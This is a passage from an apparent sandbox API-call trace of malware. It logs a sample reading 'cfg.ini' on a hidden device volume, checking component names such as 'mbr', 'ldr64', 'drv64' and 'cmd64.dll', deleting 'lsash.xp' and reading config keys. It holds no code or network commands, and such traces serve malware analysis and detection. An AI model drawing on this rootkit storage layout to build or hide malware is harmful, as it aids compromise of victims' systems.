ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.602] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.602] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.602] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.602] IdePortDispatch () returned 0x103 [0122.602] KeWaitForMutexObject () returned 0x0 [0122.603] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.603] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.603] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.603] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.603] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.603] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6c00 [0122.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.603] KeLeaveCriticalRegion () [0122.603] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.603] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.603] KeEnterCriticalRegion () [0122.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.603] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.603] KeLeaveCriticalRegion () [0122.603] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.603] KeEnterCriticalRegion () [0122.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.603] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.603] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.603] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.603] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.603] IdePortDispatch () returned 0x103 [0122.603] KeWaitForMutexObject () returned 0x0 [0122.603] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.603] KeLeaveCriticalRegion () [0122.603] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.603] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.603] KeEnterCriticalRegion () [0122.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.603] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc0000 [0122.604] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.604] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.604] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.604] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.604] IdePortDispatch () returned 0x103 [0122.605] KeWaitForMutexObject () returned 0x0 [0122.605] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.605] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.605] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.605] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.605] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.605] IdePortDispatch () returned 0x103 [0122.605] KeWaitForMutexObject () returned 0x0 [0122.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.605] KeLeaveCriticalRegion () [0122.606] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.606] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.606] KeEnterCriticalRegion () [0122.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.606] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.606] KeLeaveCriticalRegion () [0122.606] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.606] KeEnterCriticalRegion () [0122.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.606] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.606] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.606] KeLeaveCriticalRegion () [0122.606] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.606] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.606] KeEnterCriticalRegion () [0122.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.606] ExFreePoolWithTag (P=0xfffffa8003be6c00, Tag=0x0) [0122.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.606] KeLeaveCriticalRegion () [0122.606] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.606] ReleaseMutex (hMutex=0xf0) returned 1 [0122.606] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.606] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.607] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.607] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.607] KeEnterCriticalRegion () [0122.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.607] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.607] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.607] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.607] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.607] IdePortDispatch () returned 0x103 [0122.607] KeWaitForMutexObject () returned 0x0 [0122.607] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.607] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.607] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.607] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.607] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.607] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.607] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.607] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.607] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.607] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.607] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.607] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.607] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.607] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.607] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.607] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.607] KeLeaveCriticalRegion () [0122.607] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.607] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.607] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.607] KeEnterCriticalRegion () [0122.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.607] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.607] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.607] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.607] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.607] IdePortDispatch () returned 0x103 [0122.608] KeWaitForMutexObject () returned 0x0 [0122.608] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.608] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.608] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.608] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.608] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.608] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.608] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.608] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.608] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.608] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.608] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.608] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.608] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.608] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.608] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.608] KeLeaveCriticalRegion () [0122.608] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.608] ReleaseMutex (hMutex=0x100) returned 1 [0122.608] Sleep (dwMilliseconds=0x2bf20) [0122.615] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c47cf50, dwHighDateTime=0x1d24fa4)) [0122.615] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.615] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.615] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.615] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.615] KeEnterCriticalRegion () [0122.615] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.615] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.615] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.615] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.615] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.615] IdePortDispatch () returned 0x103 [0122.615] KeWaitForMutexObject () returned 0x0 [0122.615] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.615] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.615] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.615] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.615] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.615] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6460 [0122.615] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.615] KeLeaveCriticalRegion () [0122.615] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.616] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.616] KeEnterCriticalRegion () [0122.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.616] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.616] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.616] KeLeaveCriticalRegion () [0122.616] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.616] KeEnterCriticalRegion () [0122.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.616] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.616] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.616] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.616] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.616] IdePortDispatch () returned 0x103 [0122.616] KeWaitForMutexObject () returned 0x0 [0122.616] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.616] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.616] KeLeaveCriticalRegion () [0122.616] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.616] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.616] KeEnterCriticalRegion () [0122.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.616] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc3000 [0122.616] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.616] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.616] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.616] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.616] IdePortDispatch () returned 0x103 [0122.616] KeWaitForMutexObject () returned 0x0 [0122.617] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.617] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.617] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.617] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.617] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.617] IdePortDispatch () returned 0x103 [0122.617] KeWaitForMutexObject () returned 0x0 [0122.617] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.617] KeLeaveCriticalRegion () [0122.617] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.617] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.617] KeEnterCriticalRegion () [0122.617] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.617] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.617] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.617] KeLeaveCriticalRegion () [0122.617] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.617] KeEnterCriticalRegion () [0122.617] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.617] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.617] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6520, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.618] KeLeaveCriticalRegion () [0122.618] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.618] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.618] KeEnterCriticalRegion () [0122.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.618] ExFreePoolWithTag (P=0xfffffa8003be6460, Tag=0x0) [0122.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.618] KeLeaveCriticalRegion () [0122.618] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.618] ReleaseMutex (hMutex=0xf0) returned 1 [0122.618] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.618] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.618] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.618] KeEnterCriticalRegion () [0122.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.618] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.618] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.618] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.618] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.618] IdePortDispatch () returned 0x103 [0122.618] KeWaitForMutexObject () returned 0x0 [0122.618] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.618] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.618] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.618] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.618] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.618] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be53e0 [0122.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.618] KeLeaveCriticalRegion () [0122.618] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.618] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.618] KeEnterCriticalRegion () [0122.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.618] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.618] KeLeaveCriticalRegion () [0122.619] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.619] KeEnterCriticalRegion () [0122.619] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.619] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.619] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.619] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.619] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.619] IdePortDispatch () returned 0x103 [0122.619] KeWaitForMutexObject () returned 0x0 [0122.619] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.619] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.619] KeLeaveCriticalRegion () [0122.619] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.619] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.619] KeEnterCriticalRegion () [0122.619] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.619] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc4000 [0122.619] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.619] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.619] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.619] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.619] IdePortDispatch () returned 0x103 [0122.619] KeWaitForMutexObject () returned 0x0 [0122.619] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.619] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.619] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: 